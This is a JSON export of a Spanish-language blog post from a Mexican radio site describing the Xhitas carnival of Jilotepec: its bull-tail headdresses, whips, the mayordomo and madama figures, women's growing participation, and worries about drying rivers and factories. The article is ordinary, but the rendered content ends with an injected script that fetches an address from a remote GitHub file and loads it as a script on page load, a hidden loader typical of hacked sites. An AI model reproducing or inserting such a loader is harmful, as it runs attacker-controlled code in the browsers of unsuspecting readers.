{"id":46466,"date":"2023-01-24T14:40:14","date_gmt":"2023-01-24T20:40:14","guid":{"rendered":"https:\/\/nofm-radio.com\/?p=46466"},"modified":"2024-09-25T12:08:13","modified_gmt":"2024-09-25T18:08:13","slug":"los-xhitas-una-celebracion-entre-el-cielo-y-la-tierra","status":"publish","type":"post","link":"https:\/\/nofm-radio.com\/?p=46466","title":{"rendered":"Los Xhitas, una celebraci\u00f3n entre el cielo y la tierra"},"content":{"rendered":"\n<p>No hay lugar del que me guste hablar m\u00e1s que de <strong>mi pueblo<\/strong>. Ya saben, por eso de que cuando sales de casa <strong>los recuerdos se vuelven m\u00e1s claros<\/strong>. Hoy que tengo oportunidad de traerles un poco de <strong>Jilotepec <\/strong>a este espacio, quiero platicarles sobre la celebraci\u00f3n que mejor pinta sus calles: <strong>los Xhitas<\/strong>.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Truenos sonando en las aceras <\/h2>\n\n\n\n<p>De enero a febrero las calles se irrumpen con un gran estruendo, m\u00fasica a todo lo que da y <strong>unas criaturas extra\u00f1as<\/strong> con la cara cubierta<strong> danzando <\/strong>en las calles de <strong>Jilotepec<\/strong>. A lo lejos parecen demonios, de cerca no es tan claro lo que son. Lo que le podr\u00eda parecer una pesadilla a los for\u00e1neos, para los locales representa una de nuestras<strong><a href=\"https:\/\/nofm-radio.com\/cultura\/en-sus-marcas-listas-fuera-regresa-la-carrera-de-la-tortilla\/\"> tradiciones<\/a><\/strong> m\u00e1s queridas.\u00a0<\/p>\n\n\n\n<p>Personas de las que solo vemos sus ojos hacen sonar sus <strong>chicotes, trompetas y acocotes<\/strong>. Los vecinos salen de sus casas para ver el espect\u00e1culo, que aunque se repite cada a\u00f1o, siempre parece diferente.<strong> Los gre\u00f1eros<\/strong> se agitan sobre las cabezas danzantes, y uno que otro le extiende su mano al p\u00fablico para ponerlo a bailar, haci\u00e9ndolo a\u00fan m\u00e1s parte de una tradici\u00f3n que ya es de todos. Su ritmo resuena todav\u00eda m\u00e1s fuerte con el sonido de sus risas. Este es el <strong>carnaval Xhita.<\/strong>\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"1024\" src=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2465-683x1024.jpg\" alt=\"\" class=\"wp-image-46469\" srcset=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2465-683x1024.jpg 683w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2465-200x300.jpg 200w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2465-768x1152.jpg 768w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2465-1024x1536.jpg 1024w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2465.jpg 1365w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Nuestra herencia <\/h2>\n\n\n\n<p>Jilotepec es un pueblo, al norte del Estado de M\u00e9xico, dedicado principalmente a la<strong> ganader\u00eda y agricultura<\/strong>. Caravanas de entre treinta a cuarenta personas, todos vecinos, le dedican los ocasos de la temporada a este ritual que busca garantizarnos <strong>una buena \u00e9poca de siembra y buena fortuna <\/strong>en nuestros hogares. El evento comienza cuarenta d\u00edas antes del<strong> Mi\u00e9rcoles de Ceniza,<\/strong> y culmina con el<strong> Martes de Carnaval<\/strong>, que cada comunidad festeja a su manera.\u00a0<\/p>\n\n\n\n<p>La celebraci\u00f3n Xhita es parte de nuestra <strong>herencia otom\u00ed,<\/strong> atravesada por los<strong> cristianos cat\u00f3licos <\/strong>y la enorme devoci\u00f3n a <strong>la virgen de Guadalupe<\/strong> que se profesa en la zona. No se sabe con exactitud la longevidad de este ritual, pero se sospecha que ha pisado nuestro suelo desde hace mucho, mucho tiempo.\u00a0<\/p>\n\n\n\n<p>Aunque es verdad que la devoci\u00f3n se ha ido gastando, creyentes y no creyentes siguen luchando por <strong>mantener el carnaval vivo<\/strong>. Gracias a esto, apenas el a\u00f1o pasado el estruendo del chicote lleg\u00f3 hasta el Congreso mexiquense, consiguiendo que el carnaval Xhita tenga el estatuto de<strong> Patrimonio Cultural del Estado de M\u00e9xico<\/strong>. Con esto, el Estado ahora se compromete a la conservaci\u00f3n, promoci\u00f3n y salvaguarda tanto de la indumentaria como de la tradici\u00f3n.\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Xhitas Xhixhata y Huertas 2019 2\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/jPESU8FPkbY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Cubiertos de simbolismo <\/h2>\n\n\n\n<p>Para que podamos comprender mejor esta tradici\u00f3n milenaria, vale la pena hacer un recorrido por los significados con los que se visten sus participantes.&nbsp;<\/p>\n\n\n\n<p>Sobre sus cabezas llevan el ic\u00f3nico<strong> gre\u00f1ero<\/strong>, fabricado con entre 50 a 100 <strong>colas de res<\/strong> y sus prominentes <strong>cuernos<\/strong>. Tiene un peso aproximado de 10kg, y para construirlo cada participante recolecta las colas, las ti\u00f1e y, quien tiene el conocimiento adecuado, lo construye para s\u00ed mismo o para los dem\u00e1s.\u00a0<\/p>\n\n\n\n<p>Este gre\u00f1ero representa a la<strong> bestia de carga<\/strong> que jala el arado en las milpas y su uso se corona con el performance de los participantes que imitan los movimientos del <strong>toro<\/strong>. La representaci\u00f3n del animal se acompa\u00f1a con el sonido del <strong>acocote o trompetilla<\/strong>, que simula<strong> el bufido del animal<\/strong>.\u00a0<\/p>\n\n\n\n<p>En la otra mano, el xhita lleva <strong>el chicote<\/strong>, un lazo trenzado que al azotarlo al suelo emite un chasquido que <strong>se asemeja al trueno<\/strong>. Los xhitas bailan y resuenan la tierra con la intenci\u00f3n de atraer la fertilidad de sus adentros y hacerla resonar hasta el cielo, atrayendo la lluvia.\u00a0<\/p>\n\n\n\n<p>En sus pechos llevan zarapes con la imagen de la virgen de Guadalupe o del santo patrono que respecta a sus comunidades. Y finalmente, <strong>en sus rostros habita la contradicci\u00f3n<\/strong> que viene con el sincretismo: caras cubiertas con trapos largos que <strong>ocultan sus identidades<\/strong>, reclamando su <strong>derecho a pecar<\/strong> por cuarenta d\u00edas, y\u00a0 su<strong> renuncia a la comuni\u00f3n<\/strong> de su propia iglesia.\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"1024\" src=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2362-683x1024.jpg\" alt=\"\" class=\"wp-image-46468\" srcset=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2362-683x1024.jpg 683w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2362-200x300.jpg 200w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2362-768x1152.jpg 768w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2362-1024x1536.jpg 1024w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2362.jpg 1365w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Los padres de los xhitas <\/h2>\n\n\n\n<p>De entre las decenas de pies danzantes llaman la atenci\u00f3n dos personajes que no usan gre\u00f1ero. Tienden a ir al frente, y el resto de los asistentes apaga su grito cuando uno de ellos suena. <strong>El <em>mayordomo <\/em>y la <em>madama<\/em><\/strong><em> <\/em>comandan el ritual y asumen la figura de los padres de los xhitas. Son los encargados de dirigir el deambular de sus pasos, pero tambi\u00e9n de <strong>las oraciones<\/strong> que se ofrecen al final de cada recorrido en la casa de alg\u00fan vecino que se ofrezca a apadrinar la procesi\u00f3n.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">El Mayordomo<\/h2>\n\n\n\n<p>Bajo un<strong> sombrero de paja<\/strong> y una <strong>m\u00e1scara de anciano<\/strong> encontramos al <em>mayordomo<\/em>. Su ropa suele ser de manta y acompa\u00f1ada de otros elementos coloridos y bordados de la regi\u00f3n. El personaje camina encorvado y se apoya en su bast\u00f3n, que por supuesto tambi\u00e9n se mueve al ritmo de sus compa\u00f1eros.\u00a0<\/p>\n\n\n\n<p>Su papel es principalmente <strong>econ\u00f3mico<\/strong>. Originalmente, quien asum\u00eda el puesto se encargaba de conseguir la totalidad de los fondos para sostener los<strong> 40 d\u00edas de fiesta y el Martes de Carnaval<\/strong>. Ahora todos los involucrados recolectan el dinero, comida y bebidas que comparten al final de cada noche, pero el <em>mayordomo <\/em>contin\u00faa administrando todo esto.\u00a0<\/p>\n\n\n\n<p>La elecci\u00f3n del mayordomo precede hasta con varios a\u00f1os a la celebraci\u00f3n. El puesto solo puede ser ocupado por un hombre en <strong>leg\u00edtimo matrimonio cat\u00f3lico<\/strong>, por lo que todos quienes se encuentren solteros, divorciados o en uni\u00f3n libre no son una opci\u00f3n.<\/p>\n\n\n\n<p>Pero quiz\u00e1 la parte m\u00e1s importante de ser el <em>mayordomo <\/em>est\u00e1 en ofrecer su casa como recinto para <strong>el altar del santo adorado<\/strong>. Su casa se convierte en el punto donde convergen los danzantes para ofrecer sus oraciones y compartir el pan al final de cada recorrido.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">La Madama <\/h2>\n\n\n\n<p>La <em>madama <\/em>ha cobrado cada vez m\u00e1s importancia, y el d\u00eda de hoy probablemente sea quien ocupa <strong>el lugar de mayor rango<\/strong> en el carnaval. Se trata de un <strong>hombre vestido de mujer,<\/strong> con las enaguas negras, el rostro tapado, un sombrero en la cabeza y, en la mano, una canasta y una bandera blanca.\u00a0<\/p>\n\n\n\n<p>Su simbolismo no es tan claro como el del <em>mayordomo, <\/em>pero los participantes coinciden en ver en ella <strong>la figura materna<\/strong> de los xhitas. La <em>madama <\/em>dirige el carnaval en primer lugar y es quien <strong>recibe el mayor respeto <\/strong>entre los participantes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><em>Las<\/em> Xhitas <\/h2>\n\n\n\n<p>Para nadie en la comunidad es secreto que la celebraci\u00f3n es principalmente <strong>masculina<\/strong>. Hasta hace unos a\u00f1os, ninguno de los personajes pod\u00edan ser representados por<strong> mujeres<\/strong>, y nuestro lugar no distaba de <strong>lo patriarcalmente convencional: la cocina<\/strong>. Por d\u00e9cadas, las mujeres se han encargado de la tarea de<strong> preparar los alimentos y recintos <\/strong>donde se recibir\u00e1n a los danzantes. En este sentido,<strong> la esposa<\/strong> y la familia del <em>mayordomo <\/em>son quienes adquieren la responsabilidad m\u00e1s grande.\u00a0<\/p>\n\n\n\n<p>Las razones son varias, todas ellas gastadas. Algunos especulan que la exclusi\u00f3n femenina del ritual se debe a que este representa el ejercicio de<strong> la ganader\u00eda y la agricultura<\/strong>, actividades consideradas <strong>un trabajo m\u00e1sculino<\/strong>. Tambi\u00e9n se habla de que <strong>el peso<\/strong> del gre\u00f1ero no podr\u00eda ser cargado por las mujeres interesadas.<\/p>\n\n\n\n<p>Pero en los \u00faltimos a\u00f1os, las propias mujeres se han encargado de <strong>desmentir <\/strong>este discurso heteropatriarcal. Por un lado, el imaginario en el que las mujeres no participan en los trabajos pesados del campo es una falacia, pues por siglos se han integrado activamente a ellos. Y por el otro, han demostrado tener <strong>la fuerza y la voluntad suficientes <\/strong>para ser parte del carnaval. Ahora, cada a\u00f1o es m\u00e1s com\u00fan encontrar<strong> miradas femeninas bajo el peso del gre\u00f1ero<\/strong>.\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2318-1024x683.jpg\" alt=\"\" class=\"wp-image-46471\" srcset=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2318-1024x683.jpg 1024w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2318-300x200.jpg 300w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2318-768x512.jpg 768w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2318-1536x1024.jpg 1536w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2318.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Devoci\u00f3n y cuidado <\/h2>\n\n\n\n<p>Debido a la gran <strong>carga religiosa<\/strong> que tiene la tradici\u00f3n, es bastante com\u00fan encontrarse con quienes la practican como <strong>una manda. <\/strong>En su mayor\u00eda, los xhitas juran participar por <strong>siete a\u00f1os<\/strong> en los que no podr\u00e1n recibir la comuni\u00f3n cat\u00f3lica, por lo que, en caso de morir, lo har\u00e1n en <strong>pecado<\/strong>. Ser xhita es <strong>un honor y un sacrificio<\/strong> al mismo tiempo. Pero tambi\u00e9n es verdad que cada vez son m\u00e1s los que se integran a la celebraci\u00f3n sin intenciones religiosas.<\/p>\n\n\n\n<p>Los xhitas, m\u00e1s all\u00e1 de ser un ritual de valor religioso en nuestro pueblo, es una tradici\u00f3n que ha dado <strong>un s\u00edmbolo identitario<\/strong> fuerte a la regi\u00f3n. Tal es su relevancia en este aspecto que el propio ayuntamiento del municipio ha convocado a los diferentes grupos de xhitas a presentarse en <strong>un desfile<\/strong> en medio de la temporada de su carnaval.<\/p>\n\n\n\n<p>Los colores, cohetes, m\u00fasica y danza\u00a0 que adornan la fiesta m\u00e1s significativa de Jilotepec son el marco que adorna el mejor momento para<strong> convivir <\/strong>con nuestros vecinos. En el pan encontramos la amistad de un enmascarado con quien <strong>compartimos nuestra tierra y nuestra historia.\u00a0<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2250-1-1024x683.jpg\" alt=\"\" class=\"wp-image-46470\" srcset=\"https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2250-1-1024x683.jpg 1024w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2250-1-300x200.jpg 300w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2250-1-768x512.jpg 768w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2250-1-1536x1024.jpg 1536w, https:\/\/nofm-radio.com\/wp-content\/uploads\/2023\/01\/IMG_2250-1.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfA qui\u00e9n le oramos?<\/h2>\n\n\n\n<p>Las tradiciones viven de nosotros, sin importar si somos locales o for\u00e1neos. Por eso me tomo el atrevimiento de darle voz al acocote y compartir con ustedes un poco de lo que s\u00e9, y dar pie a que alguien m\u00e1s \u2013o incluso yo\u2013 hable de todo lo que a\u00fan no se sabe de una tradici\u00f3n como esta. A pesar de que el Carnaval Xhita tiene tantos a\u00f1os pisando las calles de Jilotepec, <strong>lo que se ha documentado al respecto es escaso y en su mayor\u00eda muy vago.<\/strong> El riesgo que corre una tradici\u00f3n que se mueve solo por las calles es quedarse en ellas.\u00a0<\/p>\n\n\n\n<p>Cuando hablamos de los xhitas omitimos que el origen de sus danzas es lo suficientemente distante a nosotros como para no haber considerado en sus oraciones <strong>el cambio clim\u00e1tico o las plantas industriales <\/strong>que se est\u00e1n montando en los alrededores. El otro riesgo que corremos cuando hablamos de tradici\u00f3n es olvidar que, en casos como este, su car\u00e1cter vivo es importante.\u00a0<\/p>\n\n\n\n<p>Mientras el chicote truena, <strong>nuestros r\u00edos se secan<\/strong>, y los rosarios de las caravanas no llegan a los o\u00eddos de las grandes empresas que encontraron una mina de oro en nuestra tierra f\u00e9rtil. Bailamos por <strong>una lluvia que ya no se va al campo<\/strong>, y por <strong>una tierra que ya no tiene qui\u00e9n la trabaje<\/strong>. Los gre\u00f1eros cubren las cabezas de los mismos que tendr\u00e1n que levantarse la ma\u00f1ana siguiente para trabajar en alguna f\u00e1brica, porque el grano ya no nos da lo suficiente, ni tenemos lo suficiente para tener grano.\u00a0<\/p>\n\n\n\n<p>\u00bfHasta cu\u00e1ndo puede vivir en nosotros una tradici\u00f3n que perece ante un abandono forzado?<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Texto de Jovana Hern\u00e1ndez &#8211; <a href=\"https:\/\/www.instagram.com\/plumas.de.ganso\/?igshid=YmMyMTA2M2Y%3D\">@plumas.de.ganso<\/a><\/p>\n\n\n\n<p>Fotograf\u00edas por Iv\u00e1n Plata &#8211; <a href=\"https:\/\/instagram.com\/r.ivan_plata.m?igshid=YmMyMTA2M2Y=\">@r.ivan_plata.m<\/a><\/p>\n<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script>","protected":false},"excerpt":{"rendered":"<p>No hay lugar del que me guste hablar m\u00e1s que de mi pueblo. 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